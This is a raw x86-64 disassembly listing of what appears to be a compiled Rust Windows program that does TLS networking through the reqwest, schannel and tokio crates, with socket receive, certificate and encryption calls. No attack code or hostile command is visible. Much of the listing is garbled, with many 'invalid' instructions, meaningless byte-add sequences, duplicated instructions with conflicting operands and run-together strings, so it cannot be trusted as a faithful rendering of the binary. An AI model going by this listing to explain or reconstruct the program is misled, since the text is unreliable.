mov rax, qword [rsp + 0xcd]
mov qword [rsi + 0x50], rax
add rsp, 0x238
add byte [rax], al
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
movzx eax, byte [rsp + 0x30]
mov byte [rsp + 0x80], al
add byte [rax], 0
add byte [rax - 0x73], cl
add eax, 0xd72dd
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x1401d4b98]
lea r8, [rsp + 0x80]
mov edx, 0x2b
call fcn.140161200
ud2
lea rcx, [rsp + 0x98]
mov rax, qword [rsp + 0x80]
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
call qword [rax + reloc.WS2_32.dll_recv]
mov rax, qword [rsp + 0x12d]
mov qword [rsp + 0x1ad], rax
movaps xmm0, xmmword [rsp + 0x120]
and byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x1a0], xmm0
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmm2, xmmword [rsp + 0x100]
movaps xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x190], xmm3
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x160], xmm0
mov edi, ebp
mov r15d, ebx
jmp 0x140102042
cmp r14b, 3
ja 0x140102077
movzx eax, r14b
cmp eax, 2
je 0x140102077
mov rax, qword [rsp + 0x38]
test rax, rax
jne 0x1401020ae
mov rax, qword [rsp + 0x58]
test rax, rax
je 0x140101fd8
lea rcx, [rsp + 0x70]
mov rdx, qword [rsp + 0x60]
mov r8, qword [rsp + 0x68]
call qword [rax + reloc.WS2_32.dll_recv]
movaps xmm0, xmmword [rsp + 0xe0]
movaps xmm1, xmmword [rsp + 0xf0]
movaps xmm2, xmmword [rsp + 0x100]
movaps xmm3, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x160], xmm0
movaps xmmword [rsp + 0x170], xmm1
movaps xmmword [rsp + 0x180], xmm2
movaps xmmword [rsp + 0x190], xmm3
movaps xmm0, xmmword [rsp + 0x120]
movaps xmmword [rsp + 0x1a0], xmm0
mov rax, qword [rsp + 0x12d]
mov qword [rsp + 0x1ad], rax
jmp 0x140102042
movzx edi, byte [rsp + 0x29]
mov r15b, 3
mov byte [rsp + 0x28], r15b
mov byte [rsp + 0x29], dil
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_reqwest_0.11.22_srcconnect.rs
mov qword [rsp + 0x20], rax
lea rcx, str.scheme_and_authority_is_valid_Uri
lea r9, [0x1401d4ad8]
lea r8, [rsp + 0x28]
mov edx, 0x21
call fcn.140161200
ud2
mov rsi, qword [rsp + 0x30]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x38]
test rax, rax
je 0x140101fbc
invalid
invalid
invalid
lea rcx, [rsp + 0x50]
mov rdx, qword [rsp + 0x40]
mov r8, qword [rsp + 0x48]
call qword [rax + reloc.WS2_32.dll_recv]
push rax
adc byte [rax - 0x75], cl
and al, 0x58
test rax, rax
jne 0x140101fc6
jmp 0x140101fd8
pop rdi
or byte [rax - 0x73], cl
sbb byte [r8 - 0x75], cl
add ecx, dword [rax - 0x75]
push rbx
or byte [rbx + rcx*4 + 0x43], cl
adc bh, bh
push rax
adc byte [rax - 0x75], cl
or eax, 0x11314c
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rdi + 0x28]
mov rax, qword [rdi + 0x10]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + reloc.WS2_32.dll_recv]
lea rcx, [rdi + 0x48]
mov rax, qword [rdi + 0x30]
mov rdx, qword [rdi + 0x38]
mov r8, qword [rdi + 0x40]
call qword [rax + reloc.WS2_32.dll_recv]
lea rdx, [0x1401d26c8]
jmp 0x14010262d
xor ebp, ebp
xor r8d, r8d
mov rcx, r14
jmp 0x1401022ae
nop word cs:[rax + rax]
lea rcx, [r9 + 1]
mov r8, rcx
sub r8, r9
add r8, r12
add r10d, 0xffffffa5
test r10d, 0xfffffffd
jne 0x140102350
mov r12, r8
mov al, 1
cmp rcx, rdx
je 0x140102348
mov r9, rcx
movzx ecx, byte [rcx]
movzx r10d, cl
test r10b, r10b
jns 0x140102290
mov r8d, r10d
and r8d, 0x1f
movzx ebx, byte [r9 + 1]
and ebx, 0x3f
cmp r10b, 0xdf
jbe 0x140102322
movzx r11d, byte [r9 + 2]
shl ebx, 6
pop rcx
add al, cl
jrcxz 0x1401022ee
and r11d, 0x3f
or r11d, ebx
cmp cl, 0xf0
jb 0x140102335
fild dword [rax + 0x4172f0f9]
lea rcx, [r9 + 4]
movzx r10d, byte [r9 + 3]
and r8d, 7
shl r8d, 0x12
shl r11d, 6
and r10d, 0x3f
or r10d, r11d
or r10d, r8d
cmp r10d, 0x110000
jne 0x140102294
jmp 0x14010234b
lea rcx, [r9 + 2]
shl r8d, 6
or r8d, ebx
mov r10d, r8d
jmp 0x140102294
lea rcx, [r9 + 3]
shl r8d, 0xc
or r11d, r8d
mov r10d, r11d
jmp 0x140102294
mov rcx, rdx
mov r8, r12
jmp 0x140102379
xor eax, eax
mov rbp, r8
jmp 0x140102379
lea rdx, [r9 - 1]
movzx r10d, r10b
add r10d, 0xffffffa5
test r10d, 0xfffffffd
jne 0x1401023f9
cmp rcx, rdx
je 0x140102402
mov r9, rdx
movzx r10d, byte [rdx - 1]
test r10b, r10b
jns 0x140102360
movzx r11d, byte [r9 - 2]
cmp r11b, 0xc0
jge 0x1401023c0
movzx ebx, byte [r9 - 3]
cmp bl, 0xc0
jge 0x1401023ca
lea rdx, [r9 - 4]
mov r15, rbp
movzx ebp, byte [r9 - 4]
and ebp, 7
shl ebp, 6
and ebx, 0x3f
or ebx, ebp
mov rbp, r15
jmp 0x1401023d1
lea rdx, [r9 - 2]
and r11d, 0x1f
jmp 0x1401023db
lea rdx, [r9 - 3]
and ebx, 0xf
shl ebx, 6
and r11d, 0x3f
or r11d, ebx
shl r11d, 6
and r10b, 0x3f
movzx r10d, r10b
or r10d, r11d
cmp r10d, 0x110000
jne 0x140102368
jmp 0x140102402
sub r8, rcx
add r8, r9
mov rbp, r8
xor ecx, ecx
test al, al
cmovne r12, rcx
mov r15d, 1
sub rbp, r12
je 0x14010245e
js 0x140102692
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x140102447
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140102683
mov rcx, rax
mov qword [0x140215360], rax
xor edx, edx
mov r8, rbp
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov r15, rax
test rax, rax
je 0x140102683
mov dword [rsp + 0x24], r13d
add r14, r12
mov rcx, r15
mov rdx, r14
mov r8, rbp
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rdi + 0x50]
mov qword [rsp + 0x80], rax
movups xmm0, xmmword [rdi + 0x40]
adc byte [rdi + 0x40], al
movaps xmmword [rsp + 0x70], xmm0
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
movups xmm3, xmmword [rdi + 0x30]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
mov r14, qword [rsi + 0x20]
lock inc qword [r14]
jle 0x14010264c
mov r12, qword [rsi + 0x28]
mov r13, qword [rsi + 0x30]
lock inc qword [r12]
jle 0x14010264c
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1401024f9
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140102661
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0xeb8
xor edx, edx
sar bh, cl
adc eax, 0x65b31
test rax, rax
je 0x140102661
mov rdi, rax
mov rax, qword [rsp + 0x80]
mov qword [rdi + 0x50], rax
movaps xmm0, xmmword [rsp + 0x70]
movups xmmword [rdi + 0x40], xmm0
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
movaps xmm3, xmmword [rsp + 0x60]
movups xmmword [rdi + 0x30], xmm3
movups xmmword [rdi + 0x20], xmm2
movups xmmword [rdi + 0x10], xmm1
movups xmmword [rdi], xmm0
mov qword [rdi + 0x58], r14
mov qword [rdi + 0x60], r12
mov qword [rdi + 0x68], r13
mov byte [rdi + 0xeb0], 0
cmp qword [rsi], 0
je 0x14010257e
mov r14, rbp
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertDuplicateCertificateContext]
mov qword [rsp + 0x28], rax
mov r13d, 1
jmp 0x140102584
mov r14, rbp
xor r13d, r13d
mov rcx, qword [rsi + 0x10]
call qword [sym.imp.crypt32.dll_CertDuplicateStore]
mov r12, rax
movzx ebp, byte [rsi + 0x1c]
movzx ebx, byte [rsi + 0x1d]
movsd xmm6, qword [rsi + 0x18]
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
test rcx, rcx
jne 0x1401025ca
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
test rax, rax
je 0x140102672
mov rcx, rax
mov qword [0x140215360], rax
mov r8d, 0x338
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
test rax, rax
je 0x140102672
mov rsi, rax
mov qword [rax], r13
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], r12
movss dword [rsi + 0x18], xmm6
mov byte [rsi + 0x1c], bpl
mov byte [rsi + 0x1d], bl
mov qword [rsi + 0x20], rdi
lea rax, [0x1401d2a20]
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], r15
mov qword [rsi + 0x38], r14
mov qword [rsi + 0x40], r14
mov eax, dword [rsp + 0x24]
mov byte [rsi + 0x48], al
mov byte [rsi + 0x49], 0
lea rdx, [0x1401d2630]
mov rax, rsi
movaps xmm6, xmmword [rsp + 0x90]
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
ud2
mov ecx, 8
mov edx, 0xeb8
call fcn.14015d7f0
ud2
mov ecx, 8
mov edx, 0x338
call fcn.14015d7f0
ud2
mov ecx, 1
mov rdx, rbp
call fcn.14015d7f0
ud2
call fcn.1400138d0
ud2
mov rcx, qword [rsi + 0x208]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x210]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x1c8], 0
je 0x140102a2e
mov rcx, qword [rsi + 0x1d0]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x1d8]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
mov rax, qword [rsi + 0x1b0]
lock dec qword [rax]
je 0x140102dec
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
je 0x140102e09
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x140102e2d
mov bpl, 2
cmp byte [rsi + 0x140], 2
jne 0x140102be1
jmp 0x140102c00
mov rax, qword [rsi + 0x148]
lock dec qword [rax]
je 0x140102dce
cmp byte [rsi + 0x140], 2
je 0x140102c00
lea rcx, [rsi + 0x138]
mov rax, qword [rsi + 0x120]
mov rdx, qword [rsi + 0x128]
mov r8, qword [rsi + 0x130]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [rdi], rbx
mov qword [rdi + 8], r15
mov byte [rdi + 0x10], r12b
mov byte [rdi + 0x11], bpl
mov eax, dword [rsp + 0x28]
mov dword [rdi + 0x12], eax
movzx eax, word [rsp + 0x2c]
mov word [rdi + 0x16], ax
mov al, 1
mov byte [rsi + 0x251], al
add rsp, 0x398
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
add byte [rax], al
call fcn.1400a6150
mov rax, qword [rsi + 0x1b8]
lock dec qword [rax]
jne 0x140102bc7
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
call fcn.140069a20
mov rax, qword [rsi + 0x148]
mov eax, dword [rsi + 0x148]
mov eax, dword [rsi + 0x148]
lock dec qword [rax]
jne 0x140102bd8
mov rcx, qword [rsi + 0x148]
call fcn.1400a60f0
inc dword [rax + 0x140be]
add byte [rdx], al
jne 0x140102be1
jmp 0x140102c00
mov rcx, qword [rsi + 0x1b0]
call fcn.1400a6150
mov rax, qword [rsi + 0x1b8]
add al, dh
dec qword [rax]
add al, dh
dec qword [rax]
jne 0x140102a5f
mov rcx, qword [rsi + 0x1b8]
mov rdx, qword [rsi + 0x1c0]
call fcn.140069a20
mov rax, qword [rsi + 0x148]
xchg byte [rax + 1], cl
add byte [rax], al
lock dec qword [rax]
jne 0x140102a70
mov rcx, qword [rsi + 0x148]
mov ecx, dword [rsi + 0x148]
call fcn.1400a60f0
mov bpl, 2
cmp byte [rsi + 0x140], 2
add dword [rax], eax
add byte [rdx], al
add dword [rax], eax
add byte [rdx], al
jne 0x140102be1
jmp 0x140102c00
xchg esi, eax
xor byte [rdx], al
add byte [rax], al
call fcn.140069a20
cmp qword [rsi + 0x200], 0
jne 0x1401029fb
jmp 0x140102a08
invalid
add byte [rdx + 0x2b], bh
call fcn.140160fb0
ud2
or byte [rax], al
add byte [rax], al
add byte [rax], al
add al, ch
push 0xffffffffffffffa8
add eax, 0xcc0b0f00
int3
call fcn.14015d7f0
ud2
sub esp, 0x88
mov r12, r9
mov rsi, rdx
mov rdi, rcx
mov qword [rdx + 0x38], r8
mov dword [rdx + 0x38], eax
mov dword [rdx + 0x38], eax
lea rcx, [rsp + 0x38]
call fcn.1401060c0
mov eax, dword [rsp + 0x38]
cmp byte [rbx + 0x2d7502f8], al
cmp byte [rbx + 0x2d7502f8], al
mov r15, qword [rsp + 0x40]
mov eax, r15d
and eax, 3
add ecx, dword [rax - 0x73]
or eax, 0x107abf
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
movzx eax, byte [r15 + 0x10]
cmp al, 0xd
je 0x1401032ba
invalid
jmp 0x1401032c3
test eax, eax
je 0x140103153
mov rdx, qword [rsi + 0xb0]
add byte [rax], al
mov rbx, qword [rsi + 0xb8]
cmp rbx, rdx
jne 0x1401031b1
add byte [rax], al
add byte [rax + 0x39], cl
ror dword [rdi], cl
test dword [rdx + 0x48000001], esp
mov dword [rsp + 0x30], edi
mov qword [rsp + 0x30], rdi
mov rax, qword [rsp + 0xf0]
mov r14, qword [rsp + 0x40]
mov ebp, r14d
shr r14, 0x20
cmp rax, r14
cmovb r14, rax
mov r15d, dword [rsp + 0x3c]
lea r13, [r14 + r15]
sub al, 0x3e
add rbp, r13
sub rbp, rbx
jbe 0x140103088
mov rax, qword [rsi + 0xa8]
sub rax, rbx
cmp rax, rbp
jb 0x1401032ea
mov rdi, qword [rsi + 0xa0]
lea rcx, [rdi + rbx]
cmp rbp, 2
jb 0x14010307b
lea r8, [rbp - 1]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
add rbx, rbp
dec rbx
add rdi, rbx
mov rcx, rdi
mov byte [rcx], 0
inc rbx
mov qword [rsi + 0xb0], rbx
cmp rbx, r13
jb 0x140103348
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov esi, 0xa0
add byte [rax], al
mov rdi, qword [rsi + 0xa0]
lea rbp, [rdi + r15]
mov rcx, rbp
mov rdx, r12
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
cmp rbx, r15
jb 0x14010335c
invalid
add al, byte [rax]
invalid
test eax, 0x44000002
sub ebx, ebp
sub ebx, r13d
add r13, rdi
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
and al, 0x68
mov dword [rsp + 0x38], r15d
mov dword [rsp + 0x3c], 7
mov qword [rsp + 0x40], rdi
mov dword [rsp + 0x48], r14d
mov dword [rsp + 0x4c], 1
mov qword [rsp + 0x50], rbp
mov dword [rsp + 0x58], ebx
mov dword [rsp + 0x5c], 6
add byte [rax], al
add byte [rcx + rcx*4 + 0x6c], cl
and al, 0x60
add byte [rax], al
mov qword [rsp + 0x60], r13
movabs rax, 0x400000000
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x78
add byte [rax], al
mov qword [rsp + 0x78], rax
lea rax, [rsp + 0x38]
mov qword [rsp + 0x80], rax
add byte [rax], 0
add byte [rax - 0x73], cl
mov es, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x78
add byte [rax], 0
add byte [rax - 0x73], cl
mov es, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0x44], cl
and al, 0x78
xor edx, edx
xor r9d, r9d
call qword [sym.imp.secur32.dll_EncryptMessage]
test eax, eax
je 0x140103176
mov r15d, eax
shl r15, 0x20
or r15, 2
mov eax, r15d
and eax, 3
lea rcx, [0x14020aa94]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
enter 0xffffffffffff8b48, 0x7c
and al, 0x30
jl 0x140103174
xor bh, bh
loopne 0x14010319d
jmp rax
movabs r15, 0x8009031700000002
mov edi, 2
invalid
mov rcx, r15
shr rcx, 0x20
call fcn.14012f020
cmp al, 0xd
je 0x1401032ba
add byte [rax], al
mov eax, dword [rsp + 0x48]
add eax, dword [rsp + 0x38]
add eax, dword [rsp + 0x58]
mov rdx, qword [rsi + 0xb0]
cmp rdx, rax
mov rdi, qword [rsp + 0x30]
jb 0x14010319d
mov qword [rsi + 0xb0], rax
mov rdx, rax
mov qword [rsi + 0xb8], 0
mov qword [rsi + 0x100], r14
mov dh, 0
add dword [rax], eax
invalid
xor ebx, ebx
cmp rbx, rdx
je 0x140103222
lea r14, [rsi + 0x10]
lea r12, [rsp + 0x38]
nop
mov rax, rdx
sub rax, rbx
jb 0x14010331d
mov r8, qword [rsi + 0x38]
test r8, r8
je 0x14010332e
mov fs, word [rax + 0x49000000]
add ecx, ebx
mov qword [rsp + 0x20], rax
mov rcx, r12
mov rdx, r14
call fcn.140147930
cmp eax, 0x48000447
mov eax, dword [rsp + 0x38]
cmp eax, 0x48000447
mov eax, dword [rsp + 0x38]
cmp rax, 2
je 0x1401032ba
mov r15, qword [rsp + 0x40]
test rax, rax
jne 0x140103239
add rbx, r15
mov qword [rsi + 0xb8], rbx
add byte [rax], al
add byte [rax - 0x75], cl
xchg esi, eax
mov al, 0
add byte [rax], al
cmp rbx, rdx
jne 0x1401031c0
mov rax, qword [rsi + 0x100]
mov qword [rdi], 0
mov qword [rdi + 8], rax
mov dword [rdi + 8], eax
jmp 0x1401032ce
mov eax, r15d
mov eax, edi
and eax, 3
lea rcx, [0x14020aa94]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
add eax, ecx
jmp rax
loopne 0x140103291
cmp byte [r15 + 0xf], 0xd
cmp byte [rdi + 0xf], 0xd
jne 0x1401032c3
lea rbx, [r15 - 1]
mov qword [rdi], 2
mov qword [rsi + 0x38], 0
mov rsi, qword [r15 - 1]
dec dword [rcx - 0x75]
jg 0x140103278
mov rcx, rsi
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x14010329a
cmp qword [rdi + 0x10], 0x11
jb 0x140103288
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140215360]
adc dword [rax], eax
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
invalid
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
invalid
invalid
add bl, ch
invalid
invalid
mov rax, r15
shr rax, 0x20
cmp eax, 0xd
jne 0x1401032c3
invalid
or dword [rax - 0x39], ecx
invalid
mov qword [rdi], 2
jmp 0x1401032ce
mov qword [rdi], 1
mov dword [rdi], 1
mov qword [rdi + 8], r15
mov qword [rsi + 0x38], 0
add byte [rax - 0x7f], cl
invalid
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, [rsi + 0xa0]
mov rdx, rbx
mov r8, rbp
call fcn.14015cc80
cdq
add eax, 0x9e8b4800
mov al, 0
add byte [rax], al
cdq
add eax, 0x9e8b4800
mov al, 0
add byte [rax], al
mov rdi, qword [rsi + 0xa0]
mov edi, dword [rsi + 0xa0]
lea rcx, [rdi + rbx]
cmp rbp, 2
jae 0x140103064
std
invalid
invalid
std
invalid
invalid
jmp 0x14010307b
pop rsi
std
invalid
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rbx
call fcn.140160e60
invalid
invalid
add byte [rdi], cl
invalid
fild dword [0x1881b422f]
lea ecx, str.assertion_failed:__self.context.is_null__
invalid
add byte [rbp + rcx*4 + 5], cl
mov word [rdx], es
add cl, byte [0x14039ed3f]
lea r8, [0x1401d35c8]
mov edx, 0x29
add cl, byte [0x14039ed3f]
add byte [rax], al
call fcn.140160fb0
ud2
fadd qword [0x18c1b4249]
add eax, 0x4c0b0f00
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
lea eax, [0x1401d7db8]
mov rcx, r13
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
lea eax, [0x1401d7db8]
mov rcx, r13
mov rdx, rbx
call fcn.140160f40
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
mov ecx, edi
stc
mov rdx, rbx
call fcn.140160f40
ud2
push rdi
push rbx
sub rsp, 0x50
mov rdi, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
invalid
mov qword [rcx + 0x38], rdx
mov r15, qword [r8]
mov rbx, qword [r8 + 8]
mov r14, qword [r8 + 0x10]
mov rcx, qword [r8 + 0x18]
mov ecx, dword [rax + 0x18]
mov ecx, dword [rax + 0x18]
mov r8, rbx
sub r8, rcx
jbe 0x1401033ae
add rcx, r15
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov qword [rdi + 0x18], rbx
cmp rbx, r14
jb 0x1401035a3
in al, dx
add dword [rax], eax
invalid
in al, dx
add dword [rax], eax
add byte [rcx + rbp - 0xd], cl
sub rbx, r14
add r15, r14
lea r12, [rsp + 0x20]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov rdx, qword [rsi + 0x70]
mov rcx, qword [rsi + 0x78]
mov ecx, dword [rsi + 0x78]
cmp rcx, rdx
ja 0x140103595
invalid
jne 0x140103459
mov rcx, r12
mov rdx, rsi
call fcn.1401060c0
mov eax, dword [rsp + 0x20]
and byte [rbx + 0x517501f8], al
loope 0x14010344d
mov edx, esi
call fcn.1401074d0
cmp qword [rsp + 0x20], 0
mov r14, qword [rsp + 0x28]
jne 0x140103452
test r14, r14
je 0x140103459
mov qword [rsi + 0xf8], 0
mov rcx, r12
mov rdx, rsi
call fcn.1401071d0
cmp byte [rsp + 0x20], 0
jne 0x1401034ce
cmp byte [rsp + 0x21], 0
je 0x1401033d0
jmp 0x140103459
mov r14, qword [rsp + 0x28]
test r14, r14
jne 0x1401034d3
jmp 0x1401034ae
mov r13, qword [rsi + 0x70]
mov r12, qword [rsi + 0x78]
js 0x1401034af
mov esi, ebp
sub r14, r12
sub esi, esp
jb 0x1401035b7
mov rdx, qword [rsi + 0x60]
add rdx, r12
cmp rbx, r14
cmovb r14, rbx
mov rcx, r15
invalid
mov rcx, r15
mov r8, r14
call sub.VCRUNTIME140.dll_memcpy
add r12, r14
hlt
add eax, 0xf4014d00
cmp r12, r13
ja 0x1401035cb
mov qword [rsi + 0x78], r12
add r14, qword [rdi + 0x10]
js 0x1401034e3
add esi, dword [rdi + 0x10]
jb case.0x1400e7c4b.157
cmp r14, qword [rdi + 0x18]
ja 0x1401035ff
mov qword [rdi + 0x10], r14
xor r14d, r14d
mov qword [rsi + 0x38], 0
xor eax, eax
mov rdx, r14
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov r14, qword [rsp + 0x28]
mov edi, r14d
and edi, 3
lea rax, [0x14020aaa4]
movsxd rcx, dword [rax + rdi*4]
invalid
or al, 0xb8
mov eax, 0xffc10148
loope 0x14010352b
invalid
add rcx, rax
jmp rcx
movzx eax, byte [r14 + 0x10]
movzx eax, byte [rsi + 0x10]
cmp al, 0xd
jne 0x1401034b1
or eax, 0x21ebbf75
jmp 0x140103515
cmp byte [r14 + 0xf], 0xd
cmp byte [rsi + 0xf], 0xd
jne 0x1401034b1
mov qword [rsi + 0x38], 0
jmp 0x140103522
mov rcx, r14
shr rcx, 0x20
call fcn.14012f020
cmp al, 0xd
jne 0x1401034b1
mov qword [rsi + 0x38], 0
cmp edi, 1
jne 0x14010358b
lea rsi, [r14 - 1]
mov rdi, qword [r14 - 1]
mov rbx, qword [r14 + 7]
pop rsi
invalid
mov ebx, dword [rsi + 7]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x140103557
cmp qword [rbx + 0x10], 0x11
jb 0x140103545
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [0x140215360]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x1401034bb
mov rax, r14
shr rax, 0x20
cmp eax, 0xd
jne 0x1401034b1
mov qword [rsi + 0x38], 0
mov eax, 1
jmp 0x1401034bb
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
call fcn.140160e60
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.32.0_srcio_read_buf.rs
mov rcx, r14
mov rdx, rbx
call fcn.140161190
ud2
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
or eax, 0xe1894c00
mov rcx, r12
loope 0x14010360e
mov rdx, r13
mov edx, ebp
call fcn.140160e60
ud2
lea rcx, str.assertion_failed:_pos___self.dec_in.get_ref__.len___as_u64
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.22_src_tls_stream.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x3b
call fcn.140160fb0
ud2
lea rcx, str.filled_overflowfilled_must_not_become_larger_than_initialized
lea r8, [0x1401d7cb8]
mov edx, recv
call fcn.140161290
add byte [rdi], cl
invalid
add byte [rdi], cl
or ecx, dword [rax - 0x73]
add eax, 0xdb47a
lea rax, [0x1401dea80]
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], 1
add byte [rax], al
invalid
and al, 0x28
add dword [rax], eax
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0x101065
lea rax, [0x140204680]
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
xorps xmm0, xmm0
movups xmmword [rsp + 0x38], xmm0
lea rdx, [0x1401d7cb8]
or eax, 0x4c8d4800
and al, 0x20
or eax, 0x4c8d4800
and al, 0x20
call fcn.140160e20
ud2
int3
sub rsp, 0x38
mov rsi, r8
mov esi, eax
mov esi, eax
test r8, r8
je 0x1401036ce
movabs rax, 0x555555555555556
cmp rsi, rax
invalid
jae case.0x1400fd850.33
push rbp
push rbp
push rbp
push rbp
push rbp
add eax, 0xfc63948
invalid
jae case.0x1400fd850.33
mov rbx, rdx
invalid
invalid
add al, 0xf5
invalid
mov rbx, rdx
mov ebx, edx
lea rax, [rsi*8]
cmc
add byte [rax], al
add byte [rax], al
lea r14, [rax + rax*2]
test r14, r14
test byte [rax - 0x77], 0x4c
and al, 0x30
invalid
test byte [rax - 0x77], 0x4c
and al, 0x30
invalid
xor byte [rbp + rdx*2 + 0xf], dh
mov dh, 5
insd dword [rdi], dx
sbb eax, 0x8b480011
mov ecx, dword [0x140215360]
adc dword [rax], eax
je 0x1401036d9
movzx eax, byte [0x1402153f8]
mov rcx, qword [0x140215360]
mov ecx, dword [0x140215360]
adc dword [rax], eax
adc dword [rax], eax
add byte [rax - 0x7b], cl
leave
test rcx, rcx
jne case.0x1400ea9e6.97
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
